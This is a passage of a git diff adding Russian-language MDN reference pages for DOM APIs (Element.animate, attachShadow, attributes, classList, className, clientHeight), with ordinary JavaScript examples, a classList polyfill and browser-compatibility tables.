+  <dd>Свойство уникальное для <code>animate()</code>: <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String.">DOMString</a></code>, с помощью которого можно ссылаться на анимацию.</dd>
+ </dl>
+ {{Page("ru/docs/Web/API/EffectTiming", "Свойства")}}</dd>
+</dl>
+
+<h4 id="Будущие_возможности">Будущие возможности</h4>
+
+<p>Следующие возможности в настоящее <strong>нигде не поддерживаются</strong>, но будут добавлены в <strong>ближайшем будущем </strong>.</p>
+
+<dl>
+ <dt><code>composite {{optional_inline}}</code></dt>
+ <dd>Определяет, как значения объединяются между этой анимацией и другими отдельными анимациями, которые не задают свою собственную конкретную составную операцию. По умолчанию <code>replace</code>.
+ <ul>
+  <li><code>add</code> диктует аддитивный эффект, где каждая последующая итерация строится на последней. Пример с <code>transform</code>, <code>translateX(-200px)</code> не будут переопределять ранний вариант со значением <code>rotate(20deg)</code>, поэтому результат будет <code>translateX(-200px) rotate(20deg)</code>.</li>
+  <li><code>accumulate</code> схоже, но немного умнее: <code>blur(2)</code> и <code>blur(5)</code> станет <code>blur(7)</code>, а не <code>blur(2) blur(5)</code>.</li>
+  <li><code>replace</code> переписывает предыдущие значения на новые.</li>
+ </ul>
+ </dd>
+ <dt><code>iterationComposite {{optional_inline}}</code></dt>
+ <dd>Определяет как значения строятся от итерации к итерации в этой анимации. Может быть установлено как <code>accumulate</code> или <code>replace</code> (смотрите выше). По умолчанию <code>replace</code>.</dd>
+ <dt><code>spacing {{optional_inline}}</code></dt>
+ <dd>Определяет как ключевые кадры, без временных смещений, должны распределяться по всей длительности анимации. По умолчанию <code>distribute</code>.
+ <ul>
+  <li><code>distribute</code> позиционирует ключевые кадры так, чтобы разница между последующими смещениями ключевых кадров была равна, то есть без каких-либо смещений, ключевые кадры будут равномерно распеределены по всему времени проигрыша анимации.</li>
+  <li><code>paced</code> позиционирует ключевые кадры так, чтобы расстояние между последующими значениями заданного темпового свойства было равным, то есть, чем больше разница в значениях свойств ключевых кадров, тем на большем расстоянии они расположены друг от друга.</li>
+ </ul>
+
+ <p><img alt="" src="https://w3c.github.io/web-animations/img/spacing-distribute.svg" style="height: 210px; width: 200px;"> <img alt=" " src="https://w3c.github.io/web-animations/img/spacing-paced.svg" style="height: 210px; width: 200px;"></p>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращает {{domxref("Animation")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В демо <a href="https://codepen.io/rachelnabors/pen/rxpmJL/?editors=0010">Down the Rabbit Hole (with the Web Animation API)</a>, мы используем удобный метод <code>animate()</code>, чтобы сразу создать и проиграть анимацию на элементе <code>#tunnel</code>, чтобы заставить его крутиться в падении, бесконечно. Обратите внимание на массив объектов, в котором переданы ключевые кадры, а также блок временных параметров.</p>
+
+<pre class="brush: js">document.getElementById("tunnel").animate([
+  // keyframes
+  { transform: 'translate3D(0, 0, 0)' },
+  { transform: 'translate3D(0, -300px, 0)' }
+], {
+  // timing options
+  duration: 1000,
+  iterations: Infinity
+})
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#the-animatable-interface', 'animate()' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется на основе структурированных данных. Если вы хотите внесим свой вклад в эти данные, пожалуйста, перейдите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.Element.animate")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Element.getAnimations()")}}</li>
+ <li>{{domxref("Animation")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/attachshadow/index.html b/files/ru/web/api/element/attachshadow/index.html
new file mode 100644
index 0000000000..39d19a42ef
--- /dev/null
+++ b/files/ru/web/api/element/attachshadow/index.html
@@ -0,0 +1,151 @@
+---
+title: Element.attachShadow()
+slug: Web/API/Element/attachShadow
+translation_of: Web/API/Element/attachShadow
+---
+<p>{{APIRef('Shadow DOM')}} {{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>Element.attachShadow()</code></strong> добавляет<span id="result_box" lang="ru"><span> теневое DOM дерево к указанному элементу и возвращает ссылку на его </span></span><a href="https://developer.mozilla.org/en-US/docs/Web/API/ShadowRoot" title="Use Element.attachShadow to create an instance of shadow DOM. When shadow DOM is created, it is always attached to an existing element. After the shadow DOM is created, the element that it is attached to is called the shadow root."><code>ShadowRoot</code></a>( корневой элемент созданного дерева).</p>
+
+<h4 id="Элементы_которые_можно_добавить_в_тенейвой_DOM">Элементы которые можно добавить в тенейвой DOM</h4>
+
+<p>Обратите внимание, что не каждый элемент можно добавить в корень теневого дерева. Некоторые типы исключены по соображениям безопасности(например {{htmlelement("a")}}), и некоторые другие. Вот список разрешенных элементов:</p>
+
+<ul>
+ <li>Любой пользовательский элемент с <a href="https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name">валидным именем</a></li>
+ <li>{{htmlelement("article")}}</li>
+ <li>{{htmlelement("aside")}}</li>
+ <li>{{htmlelement("blockquote")}}</li>
+ <li>{{htmlelement("body")}}</li>
+ <li>{{htmlelement("div")}}</li>
+ <li>{{htmlelement("footer")}}</li>
+ <li>{{htmlelement("h1")}}</li>
+ <li>{{htmlelement("h2")}}</li>
+ <li>{{htmlelement("h3")}}</li>
+ <li>{{htmlelement("h4")}}</li>
+ <li>{{htmlelement("h5")}}</li>
+ <li>{{htmlelement("h6")}}</li>
+ <li>{{htmlelement("header")}}</li>
+ <li>{{htmlelement("main")}}</li>
+ <li>{{htmlelement("nav")}}</li>
+ <li>{{htmlelement("p")}}</li>
+ <li>{{htmlelement("section")}}</li>
+ <li>{{htmlelement("span")}}</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>shadowroot =</em><em> element</em>.attachShadow(<em>shadowRootInit</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>shadowRootInit</code></dt>
+ <dd><code>ShadowRootInit</code> содержит следующие поля:
+ <p><code>mode</code>: Строка указывающая на режим инкапсуляции для shadowDOM:</p>
+
+ <ul>
+  <li><code>open.  </code>Указывает на открытие режима инкапсуляции.<br>
+   Это означает что элементы shadowRoot доступны для внешнего мира <em>element.shadowRoot</em><br>
+
+   <pre>element.shadowRoot === shadowroot; // returns true</pre>
+  </li>
+  <li><code>closed.</code> Указывает на закрытие режима инкапсуляции.<br>
+   Этот режим запрещает доступ к узлам node(s) и закрыват теневой корень для внешнего мира<br>
+
+   <pre>element.shadowRoot === shadowroot; // returns false
+element.shadowRoot === null; // returns true
+</pre>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Вернёт a {{domxref("ShadowRoot")}} или null.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Исключение</td>
+   <td>Описание</td>
+  </tr>
+  <tr>
+   <td>InvalidStateError</td>
+   <td>Элемент уже является хостом теневого DOM</td>
+  </tr>
+  <tr>
+   <td>NotSupportedError</td>
+   <td>Вы пытаетесь прикрепить shadow DOM к HTML элементу с некоректным именем, или к запрещенному элементу. (см. выше)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Пример взят из демо компонента <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>, так-же доступно <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">live demo</a>. Вы можете найти метод attachShadow()  примерно в середине кода. Метод создает корневой элемент теневого DOM  к которому потом добавляется содержимое шаблона элемента.</p>
+
+<pre class="brush: js"><code>//Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();</code>
+
+    // count words in element's parent element
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create text node and add word count to it
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Append it to the shadow root
+    shadow.appendChild(text);
+
+    // Update count when element content changes
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-attachshadow', 'attachShadow()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{Compat("api.Element.attachShadow")}}</p>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ru/web/api/element/attributes/index.html b/files/ru/web/api/element/attributes/index.html
new file mode 100644
index 0000000000..24564c8e24
--- /dev/null
+++ b/files/ru/web/api/element/attributes/index.html
@@ -0,0 +1,157 @@
+---
+title: Element.attributes
+slug: Web/API/Element/attributes
+translation_of: Web/API/Element/attributes
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Свойство <strong><code>Element.attributes</code></strong> возвращает группу атрибутов всех узлов, зарегистрированных в указанном узле. Это {{domxref("NamedNodeMap")}}, тоесть полученные данные не являются массивом <code>Array</code>, не содержат {{jsxref("Array")}} методы и {{domxref("Attr")}} индекс узлов может отличаться в различных браузерах. Если сказать более точно, атрибуты <font face="Courier New, Andale Mono, monospace"><strong>(</strong></font><strong style="font-family: courier new,andale mono,monospace; font-weight: bold;">attributes</strong><font face="Courier New, Andale Mono, monospace"><strong>)</strong></font> это строка, пара ключ/значение которая представляет собой информацию относительно этого атрибута.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>attr</em> =<em> element</em>.attributes;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="Базовые_примеры">Базовые примеры</h3>
+
+<pre class="brush: js">// Получить первый элемент &lt;p&gt; содержащийся в документе
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;</pre>
+
+<h3 id="Notes" name="Notes">Перечисление атрибутов элементов</h3>
+
+<p>Числовое индексирование полезно для прохождения всех атрибутов элемента.<br>
+ Следующий пример проходит через узлы атрибутов для элемента в документе с идентификатором «p1» и печатает значение каждого атрибута. </p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+
+ &lt;head&gt;
+  &lt;title&gt;Attributes example&lt;/title&gt;
+  &lt;script type="text/javascript"&gt;
+   function listAttributes() {
+     var paragraph = document.getElementById("paragraph");
+     var result = document.getElementById("result");
+
+     // Во-первых,  давайте убедимся, что в абзаце есть какие-то атрибуты
+     if (paragraph.hasAttributes()) {
+       var attrs = paragraph.attributes;
+       var output = "";
+       for(var i = attrs.length - 1; i &gt;= 0; i--) {
+         output += attrs[i].name + "-&gt;" + attrs[i].value;
+       }
+       result.value = output;
+     } else {
+       result.value = "No attributes to show";
+     }
+   }
+  &lt;/script&gt;
+ &lt;/head&gt;
+
+&lt;body&gt;
+ &lt;p id="paragraph" style="color: green;"&gt;Sample Paragraph&lt;/p&gt;
+ &lt;form action=""&gt;
+  &lt;p&gt;
+    &lt;input type="button" value="Show first attribute name and value"
+      onclick="listAttributes();"&gt;
+    &lt;input id="result" type="text" value=""&gt;
+  &lt;/p&gt;
+ &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-attributes', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>From {{SpecName('DOM3 Core')}}, moved from {{domxref("Node")}} to {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>6.0 [2]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Firefox 22, this attribute was implemented in the {{domxref("Node")}} interface (inherited by {{domxref("Element")}}). It has been moved to this interface to conform to the specification and the usage of other browsers.</p>
+
+<p>[2] Internet Explorer 5.5 returns a map containing the values rather than the attribute objects.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("NamedNodeMap")}}, the interface of the returned object</li>
+ <li>Cross-browser compatibility considerations: on <a class="external" href="http://www.quirksmode.org/dom/w3c_core.html#attributes" title="http://www.quirksmode.org/dom/w3c_core.html#attributes">quirksmode</a></li>
+</ul>
diff --git a/files/ru/web/api/element/classlist/index.html b/files/ru/web/api/element/classlist/index.html
new file mode 100644
index 0000000000..2ad0ee938f
--- /dev/null
+++ b/files/ru/web/api/element/classlist/index.html
@@ -0,0 +1,237 @@
+---
+title: Element.classList
+slug: Web/API/Element/classList
+translation_of: Web/API/Element/classList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство<strong> <code>classList</code></strong> возвращает псевдомассив {{domxref("DOMTokenList")}}, содержащий все классы элемента.</p>
+
+<div class="note">
+<p>У <strong>classList </strong>есть примитивная альтернатива - свойство <strong>className, </strong>которое содержит значение атрибута <strong>class</strong> элемента.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax"> </h2>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>elementClasses</var> = elem.classList;
+</pre>
+
+<ul>
+ <li>Результат - псевдомассив {{domxref("DOMTokenList")}}, содержащий все классы узла<strong> elem</strong></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><strong>ClassList </strong>является геттером. Возвращаемый им объект имеет несколько методов:</p>
+
+<dl>
+ <dt>     add( String<strong> [,String] )</strong>    </dt>
+ <dd>   Добавляет элементу указанные классы</dd>
+ <dt><strong>     remove</strong>( String [,String]<strong> )</strong></dt>
+ <dd><strong>    </strong>Удаляет у элемента указанные классы</dd>
+ <dd><strong>item</strong> ( Number )<br>
+     Результат аналогичен вызову <code><strong>сlassList[Number]</strong></code></dd>
+ <dd><strong>toggle</strong> ( String [, Boolean])<br>
+     Если класс у элемента отсутствует - добавляет, иначе - убирает. Когда вторым параметром передано false - удаляет указанный класс, а если true - добавляет.</dd>
+ <dd>    Если вторым параметром передан undefined или переменная с typeof == 'undefined', поведение будет аналогичным передаче только первого параметра при вызове toggle.</dd>
+ <dd><strong>contains</strong> ( String )<br>
+     Проверяет, есть ли данный класс у элемента (вернет true или false)</dd>
+</dl>
+
+<div class="note">
+<p>И, конечно же, у <strong>ClassList</strong> есть заветное свойство<strong> length</strong>, которое возвращает количество классов у элемента.</p>
+</div>
+
+<dl>
+ <dt> </dt>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js" dir="rtl">&lt;div id="clock" class="example for you"&gt; &lt;/div&gt;
+</pre>
+
+<pre class="brush: js" dir="rtl">var elem = document.querySelector("#clock")
+
+//Выведем классы
+console.log(elem.classList); //DOMTokenList ["example", "for", "you"]
+
+//Добавим классы
+elem.classList.add("ok", "understand");
+console.log(elem.classList); //DOMTokenList ["example", "for", "you", "ok", "understand"]
+
+//Переключим классы
+elem.classList.toggle("you");
+elem.classList.toggle("he");
+console.log(elem.classList); //DOMTokenList ["example", "for", "ok", "understand", "he"]
+
+//Проверим класс
+console.log(elem.classList.contains("example")); //true
+console.log(elem.classList.contains("lol")); //false
+
+//И удалим классы
+elem.classList.remove("example", "for", "understand", "he");
+console.log(elem.classList); //DOMTokenList ["ok"]</pre>
+
+<p dir="rtl"> </p>
+
+<div class="warning">
+<p>В Firefox 25- в методах add, remove и toggle возможно указать только один аргумент. Смотрите: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a> </p>
+</div>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<pre class="brush:js">// Источник: https://gist.github.com/k-gun/c2ea7c49edf7b757fe9561ba37cb19ca
+;(function() {
+    // helpers
+    var regExp = function(name) {
+        return new RegExp('(^| )'+ name +'( |$)');
+    };
+    var forEach = function(list, fn, scope) {
+        for (var i = 0; i &lt; list.length; i++) {
+            fn.call(scope, list[i]);
+        }
+    };
+
+    // class list object with basic methods
+    function ClassList(element) {
+        this.element = element;
+    }
+
+    ClassList.prototype = {
+        add: function() {
+            forEach(arguments, function(name) {
+                if (!this.contains(name)) {
+                    this.element.className += ' '+ name;
+                }
+            }, this);
+        },
+        remove: function() {
+            forEach(arguments, function(name) {
+                this.element.className =
+                    this.element.className.replace(regExp(name), '');
+            }, this);
+        },
+        toggle: function(name) {
+            return this.contains(name)
+                ? (this.remove(name), false) : (this.add(name), true);
+        },
+        contains: function(name) {
+            return regExp(name).test(this.element.className);
+        },
+        // bonus..
+        replace: function(oldName, newName) {
+            this.remove(oldName), this.add(newName);
+        }
+    };
+
+    // IE8/9, Safari
+    if (!('classList' in Element.prototype)) {
+        Object.defineProperty(Element.prototype, 'classList', {
+            get: function() {
+                return new ClassList(this);
+            }
+        });
+    }
+
+    // replace() support for others
+    if (window.DOMTokenList &amp;&amp; DOMTokenList.prototype.replace == null) {
+        DOMTokenList.prototype.replace = ClassList.prototype.replace;
+    }
+})();
+</pre>
+
+<p> </p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p> </p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>8.0</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>10</td>
+   <td>11.50</td>
+   <td>5.1<br>
+    {{Webkitbug("20709")}}</td>
+  </tr>
+  <tr>
+   <td>toggle method's second argument</td>
+   <td>24</td>
+   <td>{{CompatGeckoDesktop("24")}}</td>
+   <td><a href="https://connect.microsoft.com/IE/feedback/details/878564/element-classlist-toggle-does-not-support-second-parameter">not supported</a></td>
+   <td>15</td>
+   <td>yes<br>
+    {{Webkitbug("99375")}}
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td><span style="line-height: 1.572;">{{CompatGeckoMobile("1.9.2")}}</span></td>
+   <td>10</td>
+   <td>11.10</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>toggle method's second argument</td>
+   <td>?</td>
+   <td>{{CompatGeckoMobile("24")}}</td>
+   <td>?</td>
+   <td>?</td>
+   <td>?</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#dom-classlist" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#dom-classlist">http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#dom-classlist</a></li>
+ <li><a href="https://dom.spec.whatwg.org/#interface-domtokenlist">https://dom.spec.whatwg.org/#interface-domtokenlist</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/element.className" title="DOM/element.className">element.className</a></li>
+</ul>
diff --git a/files/ru/web/api/element/classname/index.html b/files/ru/web/api/element/classname/index.html
new file mode 100644
index 0000000000..2492c08bb0
--- /dev/null
+++ b/files/ru/web/api/element/classname/index.html
@@ -0,0 +1,108 @@
+---
+title: Element.className
+slug: Web/API/Element/className
+translation_of: Web/API/Element/className
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Свойство<strong> className</strong> отвечает за значение атрибута <strong>class</strong> элемента.</p>
+
+<div class="note">
+<p>Кстати, у <strong>className</strong> есть большой брат. Его зовут {{domxref("element.classList")}} - более мощный и функциональный метод для работы с классами элемента.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>var cName</var> = <var>elem</var>.className;
+<var>elem</var>.className = <var>cName</var>;</pre>
+
+<ul>
+ <li><strong><var>cName</var></strong> - строка. Если нужно указать несколько классов, они указываются через пробел.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>&lt;div class="booble example"&gt; &lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var elm = document.querySelector("div");
+
+alert(elm.className); //"booble example"
+
+elm.className = "class1 class2 class3";
+alert(elm.className); //"class1 class2 class3"
+</pre>
+
+<div class="note">
+<h5 id="Notes" name="Notes"><strong>Заметка:</strong></h5>
+
+<p>  Свойство получило необычное название <strong><code>className</code></strong> из-за того, что во многих языках, работающих с DOM, слово <em>class </em>является зарезервированным<em>.</em></p>
+</div>
+
+<h2 id="Поддержка_браузерами" style="line-height: 24px;">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Особенность</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Особенность</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Chrome for Android</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification"> </h2>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95362176">DOM Level 2 HTML: className</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("element.classList")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/clientheight/index.html b/files/ru/web/api/element/clientheight/index.html
new file mode 100644
index 0000000000..5e7f55f8ff
--- /dev/null
+++ b/files/ru/web/api/element/clientheight/index.html
@@ -0,0 +1,114 @@
+---
+title: Element.clientHeight
+slug: Web/API/Element/clientHeight
+translation_of: Web/API/Element/clientHeight
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Element.clientHeight</strong></code> - свойство, доступное только для чтения. Для элементов без CSS-стилей, или элементов каркаса строчной разметки - значение равно нулю. Для остальных элементов - значение равно внутренней высоте элемента в пикселах, включая пространство между содержимым элемента и его границей (padding), но исключая высоту полосы горизонтальной прокрутки, и ширину отступа от границы элемента до родительского элемента (margin).</p>
+
+<p><code>Значение <strong>clientHeight</strong></code><strong> </strong>может быть вычислено по формуле CSS <code>height</code> + CSS <code>padding</code> - высота горизонтального скролла (если присутствует).</p>
+
+<div class="note">
+<p><strong>Внимание:</strong> При вычислении значения свойства, результат округляется до ближайшего целого. Если требуется дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтакс</h2>
+
+<pre class="syntaxbox">var <var>h</var> = <var>element</var>.clientHeight;</pre>
+
+<p><code><var>h</var></code> - целочисленное значение высоты элемента в пикселях.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientheight', 'clientHeight')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">К сведению</h3>
+
+<p>Свойство <code>clientHeight</code> впервые было представлено в объектной модели Internet Explorer.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
